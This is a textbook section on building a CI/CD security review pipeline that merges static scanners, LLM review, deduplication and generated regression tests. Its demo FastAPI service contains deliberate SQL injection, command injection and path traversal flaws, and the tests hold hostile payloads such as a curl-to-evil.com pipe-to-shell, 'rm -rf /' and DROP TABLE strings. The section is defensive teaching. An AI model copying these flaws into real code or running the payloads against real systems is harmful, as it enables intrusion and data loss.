Part II: Discovery Through Software Engineering and Vibe Coding
Chapter 20: AI for Software Security

20.3 Building a Security Review Pipeline

"The pipeline found 47 vulnerabilities in the pull request. The developer fixed 45. The LLM triaged the remaining two as false positives. The security team verified all 47 in less time than it used to take them to review one."

A CI/CD Pipeline That Took Security Personally

Prerequisites

This section synthesizes everything from the chapter into a complete, working pipeline. You should have worked through Section 20.1 (threat modeling with STRIDE and attack trees) and Section 20.2 (Static Application Security Testing (SAST), fuzzing, LLM review, and sandboxing). The pipeline also draws on the Continuous Integration / Continuous Delivery (CI/CD) integration patterns from Chapter 18: AI-Assisted Testing and QA and the multi-agent orchestration from Chapter 17: Multi-Agent Software Teams. Familiarity with FastAPI, pytest, and basic Git workflows is assumed.

The Big Picture

A single pull request to a genomics data portal triggers Bandit, Semgrep, an LLM reviewer, and a custom fuzzer; together they produce 47 alerts in four incompatible formats, three different severity scales, and no shared identifier for the SQL injection that three of them independently flagged on line 42. Bandit (a Python static analysis tool that detects common security anti-patterns) finds dangerous code constructs. Semgrep (a pattern-matching code scanner that enforces custom security rules) catches project-specific violations. LLMs spot logic flaws. Fuzzers discover crashes. Each tool produces findings in its own format, at its own severity scale, with its own false-positive rate (a false positive is a reported finding that turns out not to be a real vulnerability). A security review pipeline unifies these tools into a single workflow that runs automatically on every code change, deduplicates findings across tools, triages severity with LLM assistance, and generates regression tests that prevent fixed vulnerabilities from recurring. This section builds that pipeline end to end, targeting a realistic FastAPI service that the Discovery Workbench might use for experiment data access.

1. The Target: A FastAPI Experiment Service

The target application is a FastAPI service for managing scientific experiments, with endpoints for creating experiments, querying results, uploading data files, and running analysis scripts. It intentionally contains several vulnerability classes so the pipeline has real findings to discover. In production, you would scan your actual codebase; these vulnerabilities are representative of flaws common in research software.

"""
Target application: FastAPI experiment data service.
This service contains intentional vulnerabilities for
demonstration. Each flaw maps to a Common Weakness Enumeration (CWE) category.
"""
from fastapi import FastAPI, Depends, HTTPException, UploadFile
from fastapi.responses import JSONResponse
from sqlalchemy import create_engine, text
from sqlalchemy.orm import Session, sessionmaker
from pydantic import BaseModel
import subprocess
import hashlib
import os
import logging

app = FastAPI(debug=True)  # CWE-489: debug mode in production

# CWE-798: hardcoded database credentials
DATABASE_URL = "postgresql://admin:secretpass@localhost/experiments"
engine = create_engine(DATABASE_URL)
SessionLocal = sessionmaker(bind=engine)

logger = logging.getLogger("experiment_api")


class ExperimentCreate(BaseModel):
    title: str
    description: str
    researcher_email: str


def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()


@app.post("/experiments")
def create_experiment(
    experiment: ExperimentCreate,
    db: Session = Depends(get_db)
):
    # CWE-89: SQL injection via string formatting
    query = text(
        f"INSERT INTO experiments (title, description, email) "
        f"VALUES ('{experiment.title}', "
        f"'{experiment.description}', "
        f"'{experiment.researcher_email}')"
    )
    db.execute(query)
    db.commit()
    return {"status": "created"}


@app.get("/experiments/search")
def search_experiments(q: str, db: Session = Depends(get_db)):
    # CWE-89: SQL injection in search parameter
    query = text(
        f"SELECT * FROM experiments WHERE title LIKE '%{q}%'"
    )
    results = db.execute(query).fetchall()
    return {"results": [dict(r._mapping) for r in results]}


@app.post("/experiments/{exp_id}/analyze")
def run_analysis(exp_id: int, script_name: str):
    # CWE-78: OS command injection
    result = subprocess.run(
        f"python scripts/{script_name}",
        shell=True,
        capture_output=True,
        text=True
    )
    return {
        "stdout": result.stdout,
        "stderr": result.stderr,
        "returncode": result.returncode
    }


@app.post("/experiments/{exp_id}/upload")
async def upload_data(exp_id: int, file: UploadFile):
    # CWE-22: Path traversal in filename
    save_path = f"uploads/{file.filename}"
    with open(save_path, "wb") as f:
        content = await file.read()
        f.write(content)
    return {"saved": save_path}


@app.get("/experiments/{exp_id}")
def get_experiment(exp_id: int, db: Session = Depends(get_db)):
    query = text(
        f"SELECT * FROM experiments WHERE id = {exp_id}"
    )
    result = db.execute(query).fetchone()
    if not result:
        raise HTTPException(status_code=404)
    # CWE-200: Returns all columns including internal fields
    return dict(result._mapping)


@app.post("/auth/login")
def login(username: str, password: str):
    # CWE-916: Weak password hashing (MD5)
    pw_hash = hashlib.md5(password.encode()).hexdigest()
    # CWE-532: Logging sensitive data
    logger.info(f"Login attempt: user={username}, hash={pw_hash}")
    # Authentication logic omitted for brevity
    return {"status": "ok"}
Listing 20.17: Target FastAPI service with intentional vulnerabilities spanning SQL injection, command injection, path traversal, hardcoded credentials, weak hashing, and sensitive data logging.

2. Pipeline Architecture

Scanning systematically requires a pipeline that runs each tool automatically and reconciles the results into a single report.

The security review pipeline has five stages, each building on the previous. Figure 20.3.1 illustrates Five-stage security review pipeline architecture.

Five-stage security review pipeline architecture
Figure 20.3.1: The five-stage security review pipeline, from threat model generation through static analysis, LLM review, deduplication/triage, to regression test output, all connected by the shared UnifiedFinding schema.

In 2023, a single unpatched SQL injection in the MOVEit file transfer service led to breaches at over 2,500 organizations and exposed data on more than 90 million individuals. The vulnerability had been flagged by one scanning tool but buried under hundreds of unrelated alerts from other scanners, none of which shared a common format or severity scale. Unifying security tools into a single pipeline is not an architectural nicety; it is the difference between a finding that gets fixed and one that gets lost.

A security review pipeline orchestrates multiple security analysis tools (static analyzers, fuzzers, LLM reviewers) into a single sequential process. It normalizes their outputs into a common finding format and produces a unified report with deduplicated, triaged results. Running tools individually forces engineers to correlate findings across incompatible formats manually. That leads to duplicated effort, missed connections between related vulnerabilities, and inconsistent severity assessments. The pipeline defines a shared data schema (here, UnifiedFinding) that every tool adapter maps its native output into. It then applies fingerprint-based deduplication (collapsing duplicate alerts from different tools by hashing a canonical identifier such as CWE + file + line) and LLM-assisted severity adjustment before emitting the final report. Use a pipeline when two or more tools scan your codebase and you need consistent, automated triage. For projects scanned by only one tool, a direct integration (such as Bandit's built-in JSON reporter) is sufficient. In short: a security pipeline turns a cacophony of incompatible alerts into one prioritized list that a developer can act on before lunch.

  1. Threat Model Generation: LLM analyzes the codebase and produces a STRIDE threat model with attack trees.
  2. Static Analysis: Bandit and Semgrep scan for known vulnerability patterns.
  3. LLM Security Review: Claude reviews the code for logic vulnerabilities and semantic flaws that static tools miss.
  4. Finding Deduplication and Triage: Merge findings from all tools, remove duplicates, and classify severity with LLM assistance.
  5. Regression Test Generation: For each confirmed finding, generate a pytest test that verifies the vulnerability is fixed and prevents regression.

Checkpoint

So far: multiple security tools each produce findings in their own format; the pipeline unifies them through a shared data schema (UnifiedFinding), deduplicates by fingerprint, triages severity with an LLM, and generates regression tests to prevent fixed vulnerabilities from returning.

Figure 20.5 illustrates how these five stages connect: each stage consumes the output of its predecessor, and the final report aggregates deduplicated, triaged findings alongside generated regression tests.

Source Code Stage 1 Threat Model Stage 2 Bandit + Semgrep Stage 3 LLM Review Stage 4 Dedup + Triage Stage 5 Test Gen Shared Format: UnifiedFinding Threat Model Findings Report Regression Tests
Figure 20.5: Five-stage security review pipeline. Source code enters Stage 1 (threat modeling), flows through static analysis and LLM review (Stages 2 and 3), undergoes deduplication and triage (Stage 4), and produces regression tests (Stage 5). Stages 2 through 4 emit findings in the shared UnifiedFinding format, which feeds the final findings report.

This architecture follows the multi-agent pipeline pattern from Chapter 17, where specialized agents (here, security tools) collaborate through a shared finding format. The pipeline also connects to the CI/CD integration patterns from Chapter 18, running automatically on pull requests.

The implementation below translates these five stages into a single SecurityPipeline class. Before reading the orchestration logic, note two foundational pieces it depends on: UnifiedFinding, the shared data schema that every tool adapter maps its output into, and PipelineResult, the container that aggregates all findings, statistics, and generated tests into one return value.

"""
Security review pipeline: orchestrates threat modeling,
static analysis, LLM review, triage, and test generation
into a single automated workflow.
"""
from dataclasses import dataclass, field
from enum import Enum
from typing import Optional
import json
import hashlib


class FindingSource(Enum):
    BANDIT = "bandit"
    SEMGREP = "semgrep"
    LLM_REVIEW = "llm_review"
    THREAT_MODEL = "threat_model"
    FUZZER = "fuzzer"


class Severity(Enum):
    CRITICAL = 0
    HIGH = 1
    MEDIUM = 2
    LOW = 3
    INFO = 4


@dataclass
class UnifiedFinding:
    """Normalized finding format across all security tools."""
    id: str
    source: FindingSource
    severity: Severity
    cwe_id: str
    title: str
    description: str
    file_path: str
    line_start: int
    line_end: int
    code_snippet: str
    recommendation: str
    confidence: float        # 0.0 to 1.0
    is_duplicate: bool = False
    duplicate_of: Optional[str] = None
    triaged_severity: Optional[Severity] = None
    regression_test: Optional[str] = None

    def fingerprint(self) -> str:
        """Generate a deduplication fingerprint.
        Two findings are duplicates if they reference the
        same CWE at the same code location."""
        key = f"{self.cwe_id}:{self.file_path}:{self.line_start}"
        return hashlib.md5(key.encode()).hexdigest()[:12]


@dataclass
class PipelineResult:
    """Complete output of the security review pipeline."""
    threat_model: dict
    findings: list[UnifiedFinding]
    deduplicated_count: int
    severity_distribution: dict[str, int]
    regression_tests: list[str]
    summary: str

    def critical_findings(self) -> list[UnifiedFinding]:
        effective = [
            f for f in self.findings
            if not f.is_duplicate
        ]
        return [
            f for f in effective
            if (f.triaged_severity or f.severity) in (
                Severity.CRITICAL, Severity.HIGH
            )
        ]


class SecurityPipeline:
    """Orchestrates the complete security review workflow."""

    def __init__(self, target_path: str):
        self.target_path = target_path
        self.findings: list[UnifiedFinding] = []

    def run(self) -> PipelineResult:
        """Execute all pipeline stages in sequence."""
        # Stage 1: Threat model
        threat_model = self._generate_threat_model()

        # Stage 2: Static analysis
        self._run_bandit()
        self._run_semgrep()

        # Stage 3: LLM review
        self._run_llm_review()

        # Stage 4: Deduplicate and triage
        self._deduplicate()
        self._triage()

        # Stage 5: Generate regression tests
        regression_tests = self._generate_regression_tests()

        # Compute summary statistics
        active = [f for f in self.findings if not f.is_duplicate]
        severity_dist = {}
        for f in active:
            sev = (f.triaged_severity or f.severity).name
            severity_dist[sev] = severity_dist.get(sev, 0) + 1

        result = PipelineResult(
            threat_model=threat_model,
            findings=self.findings,
            deduplicated_count=sum(
                1 for f in self.findings if f.is_duplicate
            ),
            severity_distribution=severity_dist,
            regression_tests=regression_tests,
            summary=self._generate_summary(severity_dist),
        )
        return result

    def _generate_threat_model(self) -> dict:
        """Stage 1: Generate STRIDE threat model."""
        # Uses the approach from Section 20.1
        from section_20_1_code import generate_threat_model
        with open(self.target_path) as f:
            source = f.read()
        return generate_threat_model(
            source,
            "FastAPI experiment data service with PostgreSQL"
        )

    def _run_bandit(self) -> None:
        """Stage 2a: Run Bandit and normalize findings."""
        # Uses the approach from Section 20.2
        from section_20_2_code import run_bandit
        bandit_findings = run_bandit(self.target_path)

        for bf in bandit_findings:
            cwe_map = {
                "B608": "CWE-89",   # SQL injection
                "B602": "CWE-78",   # Shell injection
                "B105": "CWE-798",  # Hardcoded password
                "B303": "CWE-916",  # Weak hash (MD5)
                "B106": "CWE-798",  # Hardcoded password arg
            }
            severity_map = {
                "HIGH": Severity.HIGH,
                "MEDIUM": Severity.MEDIUM,
                "LOW": Severity.LOW,
            }
            self.findings.append(UnifiedFinding(
                id=f"BAN-{len(self.findings):03d}",
                source=FindingSource.BANDIT,
                severity=severity_map.get(
                    bf.severity, Severity.MEDIUM
                ),
                cwe_id=cwe_map.get(bf.test_id, "CWE-unknown"),
                title=bf.issue_text,
                description=bf.issue_text,
                file_path=bf.filename,
                line_start=bf.line_number,
                line_end=bf.line_number,
                code_snippet=bf.code_snippet,
                recommendation="See Bandit documentation for fix",
                confidence=0.9 if bf.confidence == "HIGH" else 0.6,
            ))

    def _run_semgrep(self) -> None:
        """Stage 2b: Run Semgrep with custom rules."""
        from section_20_2_code import (
            run_semgrep, FASTAPI_SECURITY_RULES
        )
        semgrep_findings = run_semgrep(
            self.target_path, FASTAPI_SECURITY_RULES
        )

        for sf in semgrep_findings:
            severity_map = {
                "ERROR": Severity.HIGH,
                "WARNING": Severity.MEDIUM,
                "INFO": Severity.LOW,
            }
            self.findings.append(UnifiedFinding(
                id=f"SEM-{len(self.findings):03d}",
                source=FindingSource.SEMGREP,
                severity=severity_map.get(
                    sf["severity"], Severity.MEDIUM
                ),
                cwe_id=sf.get("cwe", "CWE-unknown"),
                title=sf["rule_id"],
                description=sf["message"],
                file_path=sf["file"],
                line_start=sf["line_start"],
                line_end=sf["line_end"],
                code_snippet=sf.get("code", ""),
                recommendation=sf["message"],
                confidence=0.85,
            ))

    def _run_llm_review(self) -> None:
        """Stage 3: LLM-driven semantic security review."""
        from section_20_2_code import security_review
        with open(self.target_path) as f:
            source = f.read()

        llm_findings = security_review(source, self.target_path)

        for lf in llm_findings:
            severity_map = {
                "CRITICAL": Severity.CRITICAL,
                "HIGH": Severity.HIGH,
                "MEDIUM": Severity.MEDIUM,
                "LOW": Severity.LOW,
            }
            conf_map = {"HIGH": 0.8, "MEDIUM": 0.6, "LOW": 0.4}
            self.findings.append(UnifiedFinding(
                id=f"LLM-{len(self.findings):03d}",
                source=FindingSource.LLM_REVIEW,
                severity=severity_map.get(
                    lf.severity, Severity.MEDIUM
                ),
                cwe_id=lf.cwe_id,
                title=lf.title,
                description=lf.description,
                file_path=lf.file,
                line_start=lf.line_range[0],
                line_end=lf.line_range[1],
                code_snippet="",
                recommendation=lf.recommendation,
                confidence=conf_map.get(lf.confidence, 0.5),
            ))

    def _deduplicate(self) -> None:
        """Stage 4a: Mark duplicate findings across tools."""
        seen: dict[str, str] = {}  # fingerprint -> finding id
        for finding in self.findings:
            fp = finding.fingerprint()
            if fp in seen:
                finding.is_duplicate = True
                finding.duplicate_of = seen[fp]
            else:
                seen[fp] = finding.id

    def _triage(self) -> None:
        """Stage 4b: LLM-assisted severity triage.

        The LLM reviews each active finding in context and
        may adjust severity up or down based on exploitability.
        """
        client = __import__("anthropic").Anthropic()

        active = [f for f in self.findings if not f.is_duplicate]
        if not active:
            return

        findings_text = "\n".join(
            f"- [{f.severity.name}] {f.cwe_id} at "
            f"{f.file_path}:{f.line_start}: {f.title}\n"
            f"  Description: {f.description}\n"
            f"  Source: {f.source.value}, "
            f"Confidence: {f.confidence}"
            for f in active
        )

        prompt = f"""You are a security triage specialist.
Review these vulnerability findings and adjust severity
based on real-world exploitability.

Consider:
1. Is the vulnerability reachable from external input?
2. Does it require authentication to exploit?
3. What is the blast radius (data exposure, system compromise)?
4. Are there existing mitigations that reduce risk?

FINDINGS:
{findings_text}

Return a JSON array where each item has:
- "cwe_id": the CWE identifier
- "line": the line number
- "adjusted_severity": CRITICAL, HIGH, MEDIUM, LOW, or INFO
- "rationale": One sentence explaining the adjustment

Only include findings where you changed the severity."""

        message = client.messages.create(
            model="claude-sonnet-4-20250514",
            max_tokens=2048,
            messages=[{"role": "user", "content": prompt}]
        )

        response = message.content[0].text
        start = response.find("[")
        end = response.rfind("]") + 1
        if start >= 0 and end > start:
            adjustments = json.loads(response[start:end])
            sev_map = {
                "CRITICAL": Severity.CRITICAL,
                "HIGH": Severity.HIGH,
                "MEDIUM": Severity.MEDIUM,
                "LOW": Severity.LOW,
                "INFO": Severity.INFO,
            }
            for adj in adjustments:
                for f in active:
                    if (f.cwe_id == adj["cwe_id"]
                            and f.line_start == adj["line"]):
                        f.triaged_severity = sev_map.get(
                            adj["adjusted_severity"],
                            f.severity
                        )

    def _generate_regression_tests(self) -> list[str]:
        """Stage 5: Generate pytest regression tests for
        each confirmed vulnerability."""
        client = __import__("anthropic").Anthropic()

        critical = [
            f for f in self.findings
            if not f.is_duplicate and (
                f.triaged_severity or f.severity
            ) in (Severity.CRITICAL, Severity.HIGH)
        ]

        if not critical:
            return []

        with open(self.target_path) as f:
            source = f.read()

        tests = []
        for finding in critical:
            prompt = f"""Generate a pytest regression test for
this security vulnerability:

VULNERABILITY:
- CWE: {finding.cwe_id}
- Title: {finding.title}
- Description: {finding.description}
- File: {finding.file_path}, line {finding.line_start}
- Recommendation: {finding.recommendation}

SOURCE CODE CONTEXT:
```python
{source}
```

The test should:
1. Attempt to exploit the vulnerability
2. Assert that the exploit is blocked (the fix works)
3. Use FastAPI's TestClient for HTTP endpoints
4. Include a docstring explaining what it tests

Return ONLY the pytest test function (no imports needed,
those will be in the test file header)."""

            message = client.messages.create(
                model="claude-sonnet-4-20250514",
                max_tokens=1024,
                messages=[{"role": "user", "content": prompt}]
            )

            test_code = message.content[0].text
            # Extract code from markdown fences if present
            if "```python" in test_code:
                start = test_code.find("```python") + 9
                end = test_code.find("```", start)
                test_code = test_code[start:end].strip()
            elif "```" in test_code:
                start = test_code.find("```") + 3
                end = test_code.find("```", start)
                test_code = test_code[start:end].strip()

            finding.regression_test = test_code
            tests.append(test_code)

        return tests

    def _generate_summary(self, severity_dist: dict) -> str:
        """Generate a human-readable summary of findings."""
        total = sum(severity_dist.values())
        critical = severity_dist.get("CRITICAL", 0)
        high = severity_dist.get("HIGH", 0)

        if critical > 0:
            verdict = "FAIL: Critical vulnerabilities found"
        elif high > 0:
            verdict = "WARN: High-severity vulnerabilities found"
        else:
            verdict = "PASS: No critical or high vulnerabilities"

        return (
            f"Security Review: {verdict}\n"
            f"Total unique findings: {total}\n"
            f"Distribution: {severity_dist}\n"
            f"Duplicates removed: "
            f"{sum(1 for f in self.findings if f.is_duplicate)}"
        )
Listing 20.18: Complete security review pipeline with five stages: threat modeling, static analysis, LLM review, deduplication/triage, and regression test generation.
Key Insight: Deduplication is the Secret to Useful Pipelines

Running three tools on the same codebase produces overlapping findings. The SQL injection on line 42 will appear in Bandit (B608), Semgrep (fastapi-sql-injection), and the LLM review (CWE-89). Without deduplication, the report has three entries for one bug, inflating the count and wasting triage time. Our fingerprinting approach (CWE + file + line) reduces these to a single finding with multiple corroborating sources. Corroboration actually increases confidence: a finding reported by two independent tools is more likely to be a true positive than one reported by only one. The pipeline tracks the original source of each finding so that the triage engineer can see which tools agree.

Mental Model

Think of the deduplication fingerprint like a hospital's patient intake system. When the same patient arrives at the emergency room, a specialist clinic, and a walk-in lab on the same day, each department creates its own chart with its own format and severity assessment. Without a shared patient ID (name + date of birth + complaint), the hospital sees three separate cases and triple-books resources. With one, it merges the records into a single case and notices that three independent departments flagged the same problem, raising confidence in the diagnosis. The fingerprint (CWE + file + line) serves as that shared patient ID: it lets the pipeline recognize that Bandit's "B608," Semgrep's "fastapi-sql-injection," and the LLM's "CWE-89 on line 42" are all the same underlying vulnerability, not three separate bugs requiring three separate fixes.

Common Misconception

A frequent misconception is that adding more security tools to the pipeline always improves security coverage. In practice, adding tools without proper deduplication and triage creates alert fatigue (the tendency for engineers to stop reading security reports once the volume of low-value alerts overwhelms their capacity to act): developers receive so many overlapping or low-confidence findings that they begin ignoring the report entirely, and real vulnerabilities slip through in the noise. The pipeline's value comes not from the number of tools it runs, but from the quality of its deduplication, severity triage, and false-positive suppression stages, which distill hundreds of raw alerts into a short list of actionable, high-confidence findings.

Exercise 20.3.1

The UnifiedFinding.fingerprint() method uses f"{self.cwe_id}:{self.file_path}:{self.line_start}" to deduplicate across tools. Suppose a developer refactors app/main.py by extracting the search endpoint into a new file app/search.py without changing the vulnerable SQL concatenation. After the refactor, Bandit reports the SQL injection at app/search.py:12 and the previous pipeline run recorded it at app/main.py:52. Does the fingerprint correctly recognize these as the same vulnerability, or does it treat them as two separate findings? Write a modified fingerprint() method that handles this scenario correctly.

Hint

The current fingerprint includes the file path and line number, both of which change during a refactor. Consider fingerprinting on the code snippet content itself (or a normalized hash of it) combined with the CWE, so that the same vulnerable pattern produces the same fingerprint regardless of where it lives in the codebase.

Step-Through: Deduplication Across Three Tools

Trace through the _deduplicate() method with three findings from different tools, all targeting the SQL injection on line 42:

Input findings (in order):
F0: id=BAN-000, source=BANDIT, cwe=CWE-89, file=app/main.py, line_start=42
F1: id=SEM-003, source=SEMGREP, cwe=CWE-89, file=app/main.py, line_start=42
F2: id=LLM-007, source=LLM_REVIEW, cwe=CWE-89, file=app/main.py, line_start=42

Iteration 1 (F0): Compute fingerprint: md5("CWE-89:app/main.py:42")[:12] = "a1b2c3d4e5f6". The seen dict is empty, so store {"a1b2c3d4e5f6": "BAN-000"}. F0 stays active.
Iteration 2 (F1): Same fingerprint "a1b2c3d4e5f6". Already in seen, so set F1.is_duplicate = True, F1.duplicate_of = "BAN-000".
Iteration 3 (F2): Same fingerprint again. Set F2.is_duplicate = True, F2.duplicate_of = "BAN-000".

Result: One active finding (BAN-000) with two corroborating duplicates. The report shows a single SQL injection entry instead of three, and the deduplicated_count increments by 2.

3. Running the Pipeline

With the pipeline class defined, running a complete security review is a single function call. The following code demonstrates the full workflow, from scanning to report generation:

"""
Running the security review pipeline and processing results.
This is the entry point for CI/CD integration.
"""
import json
from pathlib import Path


def run_security_review(
    target_path: str,
    output_dir: str = "security-reports"
) -> dict:
    """Execute the full security review pipeline.

    Args:
        target_path: Path to the Python file or directory.
        output_dir: Directory for report artifacts.

    Returns:
        Summary dict suitable for CI/CD status checks.
    """
    Path(output_dir).mkdir(exist_ok=True)

    pipeline = SecurityPipeline(target_path)
    result = pipeline.run()

    # Write the threat model
    with open(f"{output_dir}/threat-model.json", "w") as f:
        json.dump(result.threat_model, f, indent=2)

    # Write the findings report
    findings_report = []
    for finding in result.findings:
        if finding.is_duplicate:
            continue
        findings_report.append({
            "id": finding.id,
            "source": finding.source.value,
            "severity": (
                finding.triaged_severity or finding.severity
            ).name,
            "original_severity": finding.severity.name,
            "cwe": finding.cwe_id,
            "title": finding.title,
            "description": finding.description,
            "file": finding.file_path,
            "lines": f"{finding.line_start}-{finding.line_end}",
            "recommendation": finding.recommendation,
            "confidence": finding.confidence,
        })

    with open(f"{output_dir}/findings.json", "w") as f:
        json.dump(findings_report, f, indent=2)

    # Write regression tests
    test_header = '''"""
Security regression tests.
Auto-generated by the security review pipeline.
Each test verifies that a specific vulnerability is fixed.
"""
import pytest
from fastapi.testclient import TestClient
from app.main import app

client = TestClient(app)

'''
    test_file = test_header + "\n\n".join(
        result.regression_tests
    )
    with open(f"{output_dir}/test_security_regression.py", "w") as f:
        f.write(test_file)

    # Print summary
    print(result.summary)
    print(f"\nArtifacts written to {output_dir}/:")
    print(f"  threat-model.json")
    print(f"  findings.json ({len(findings_report)} findings)")
    print(f"  test_security_regression.py "
          f"({len(result.regression_tests)} tests)")

    # Return CI/CD status
    critical = result.critical_findings()
    return {
        "status": "fail" if critical else "pass",
        "findings_count": len(findings_report),
        "critical_count": len(critical),
        "tests_generated": len(result.regression_tests),
    }


# Execute
# status = run_security_review("app/main.py")
# if status["status"] == "fail":
#     sys.exit(1)  # Block the PR
Listing 20.19: Pipeline execution entry point that produces a threat model, findings report, and regression test file suitable for CI/CD integration.

4. Regression Test Generation in Detail

The most valuable output of the pipeline is not the findings report (which tells you what is wrong) but the regression tests (which prevent the same flaw from returning). Each generated test targets a specific vulnerability and verifies that the fix holds. Here are the tests the pipeline generates for our target application:

Real-World Application: GitLab's Multi-Scanner Security Pipeline
Real-World Application: GitLab's Multi-Scanner Security Pipeline
"""
Example regression tests generated by the security pipeline.
These tests verify that each vulnerability class is mitigated.
"""
import pytest
from fastapi.testclient import TestClient
from app.main import app

client = TestClient(app)


class TestSQLInjection:
    """Verify that SQL injection is blocked in all endpoints."""

    SQL_PAYLOADS = [
        "' OR '1'='1",
        "'; DROP TABLE experiments; --",
        "' UNION SELECT * FROM pg_shadow --",
        "1; EXEC xp_cmdshell('id')",
    ]

    def test_search_blocks_sql_injection(self):
        """SEC-001: SQL injection in /experiments/search.
        CWE-89: The search parameter must be parameterized.
        """
        for payload in self.SQL_PAYLOADS:
            response = client.get(
                "/experiments/search",
                params={"q": payload}
            )
            # The endpoint should not return a 500 (indicating
            # the injected SQL caused a database error)
            assert response.status_code != 500, (
                f"SQL injection succeeded with payload: {payload}"
            )
            # The response should not contain data from other
            # tables (UNION SELECT attack)
            if response.status_code == 200:
                body = response.json()
                assert "pg_shadow" not in str(body), (
                    "UNION SELECT extracted system table data"
                )

    def test_create_blocks_sql_injection(self):
        """SEC-002: SQL injection in /experiments (POST).
        CWE-89: Experiment creation must use parameterized queries.
        """
        for payload in self.SQL_PAYLOADS:
            response = client.post(
                "/experiments",
                json={
                    "title": payload,
                    "description": "test",
                    "researcher_email": "test@example.com"
                }
            )
            assert response.status_code != 500, (
                f"SQL injection in title field: {payload}"
            )

    def test_get_experiment_blocks_injection(self):
        """SEC-003: SQL injection in /experiments/{exp_id}.
        CWE-89: Experiment ID must be validated as integer.
        """
        # FastAPI's path parameter typing should block this,
        # but verify it explicitly
        response = client.get("/experiments/1%20OR%201=1")
        assert response.status_code in (404, 422), (
            "SQL injection in path parameter not blocked"
        )


class TestCommandInjection:
    """Verify that command injection is blocked."""

    COMMAND_PAYLOADS = [
        "; cat /etc/passwd",
        "| whoami",
        "$(curl http://evil.com/shell.sh | sh)",
        "`id`",
        "&& rm -rf /",
    ]

    def test_analyze_blocks_command_injection(self):
        """SEC-004: Command injection in /experiments/{id}/analyze.
        CWE-78: Script names must be validated against an allowlist.
        """
        for payload in self.COMMAND_PAYLOADS:
            response = client.post(
                "/experiments/1/analyze",
                params={"script_name": payload}
            )
            # Should reject invalid script names
            assert response.status_code in (400, 422), (
                f"Command injection not blocked: {payload}"
            )
            # stdout should never contain command output
            if response.status_code == 200:
                body = response.json()
                assert "root:" not in body.get("stdout", ""), (
                    "Command injection returned /etc/passwd"
                )


class TestPathTraversal:
    """Verify that path traversal is blocked in file uploads."""

    def test_upload_blocks_path_traversal(self):
        """SEC-005: Path traversal in /experiments/{id}/upload.
        CWE-22: Uploaded filenames must be sanitized.
        """
        from io import BytesIO

        traversal_names = [
            "../../../etc/cron.d/backdoor",
            "..\\..\\..\\windows\\system32\\evil.dll",
            "....//....//etc/passwd",
            "data.csv\x00.exe",  # Null byte injection
        ]

        for filename in traversal_names:
            file_data = BytesIO(b"malicious content")
            response = client.post(
                "/experiments/1/upload",
                files={"file": (filename, file_data, "text/csv")}
            )
            if response.status_code == 200:
                saved_path = response.json().get("saved", "")
                # The saved path must be within the uploads dir
                assert not saved_path.startswith(".."), (
                    f"Path traversal: file saved to {saved_path}"
                )
                assert "/etc/" not in saved_path, (
                    f"Path traversal escaped uploads dir"
                )


class TestCredentialSecurity:
    """Verify that credentials are not exposed."""

    def test_login_does_not_log_passwords(self, caplog):
        """SEC-006: Password logging in /auth/login.
        CWE-532: Passwords must never appear in log output.
        """
        import logging
        with caplog.at_level(logging.INFO):
            client.post(
                "/auth/login",
                params={
                    "username": "testuser",
                    "password": "supersecret123"
                }
            )
        # The password should not appear in any log message
        for record in caplog.records:
            assert "supersecret123" not in record.getMessage(), (
                "Password logged in plaintext"
            )

    def test_debug_mode_disabled(self):
        """SEC-007: Debug mode in production.
        CWE-489: Debug endpoints must be disabled.
        """
        # FastAPI in debug mode exposes /docs and detailed errors
        assert not app.debug, (
            "FastAPI debug mode is enabled in production"
        )
Listing 20.20: Generated regression tests covering SQL injection, command injection, path traversal, credential exposure, and debug mode, each mapped to a specific CWE identifier.
Practical Example: Security Pipeline for a Genomics Data Portal

A bioinformatics team at a university hospital runs the security pipeline on their genomics data portal, a FastAPI service that serves variant call files (VCFs) to authorized researchers. The pipeline discovers three critical findings: (1) the /variants/search endpoint concatenates patient IDs into SQL queries, enabling extraction of other patients' genomic data (CWE-89, Health Insurance Portability and Accountability Act (HIPAA) violation); (2) the file export endpoint does not check whether the requesting researcher has Institutional Review Board (IRB) approval for the specific dataset (CWE-862, broken access control); (3) the audit log stores full query parameters including patient identifiers in plaintext (CWE-532, sensitive data in logs). The pipeline generates regression tests for all three, and the team integrates them into their CI/CD pipeline. Six months later, a new developer accidentally reintroduces the SQL injection in a refactored search endpoint. The regression test catches it in the pull request check, blocking the merge. The cost of running the pipeline: five minutes of compute per pull request. The cost of the HIPAA violation it prevented: potentially millions of dollars.

5. Discovery Workbench Integration

The pipeline now produces findings, deduplicates them, and generates regression tests, but those outputs are only as useful as the system that stores and tracks them over time.

The security pipeline integrates with the Discovery Workbench (introduced in Chapter 6) as a security analysis module. Each pipeline run produces structured artifacts that the Workbench stores, versions, and visualizes:

"""
Discovery Workbench integration for the security pipeline.
Security findings become first-class discovery artifacts
alongside experiment results and model evaluations.
"""
from dataclasses import dataclass, field
from datetime import datetime
from typing import Optional
import json


@dataclass
class SecurityArtifact:
    """A security analysis result stored in the Workbench."""
    artifact_id: str
    pipeline_run_id: str
    timestamp: datetime
    target_path: str
    git_commit: str
    threat_model: dict
    findings: list[dict]
    regression_tests: list[str]
    metadata: dict = field(default_factory=dict)


class SecurityWorkbenchModule:
    """Discovery Workbench module for security analysis.

    Stores security artifacts, tracks vulnerability trends,
    and provides queries for security posture assessment.
    """

    def __init__(self, workbench_db):
        self.db = workbench_db

    def store_result(
        self,
        pipeline_result: PipelineResult,
        target_path: str,
        git_commit: str
    ) -> str:
        """Store a pipeline result as a Workbench artifact."""
        artifact = SecurityArtifact(
            artifact_id=f"sec-{datetime.now():%Y%m%d%H%M%S}",
            pipeline_run_id=f"run-{git_commit[:8]}",
            timestamp=datetime.now(),
            target_path=target_path,
            git_commit=git_commit,
            threat_model=pipeline_result.threat_model,
            findings=[
                {
                    "id": f.id,
                    "severity": (
                        f.triaged_severity or f.severity
                    ).name,
                    "cwe": f.cwe_id,
                    "title": f.title,
                    "file": f.file_path,
                    "line": f.line_start,
                }
                for f in pipeline_result.findings
                if not f.is_duplicate
            ],
            regression_tests=pipeline_result.regression_tests,
            metadata={
                "severity_distribution":
                    pipeline_result.severity_distribution,
                "summary": pipeline_result.summary,
            }
        )
        self.db.store(artifact)
        return artifact.artifact_id

    def vulnerability_trend(
        self, days: int = 90
    ) -> list[dict]:
        """Query vulnerability count over time.

        Returns daily counts of open vulnerabilities by
        severity, enabling trend visualization.
        """
        cutoff = datetime.now().timestamp() - (days * 86400)
        artifacts = self.db.query(
            "security_artifacts",
            timestamp_gt=cutoff,
            order_by="timestamp"
        )

        trend = []
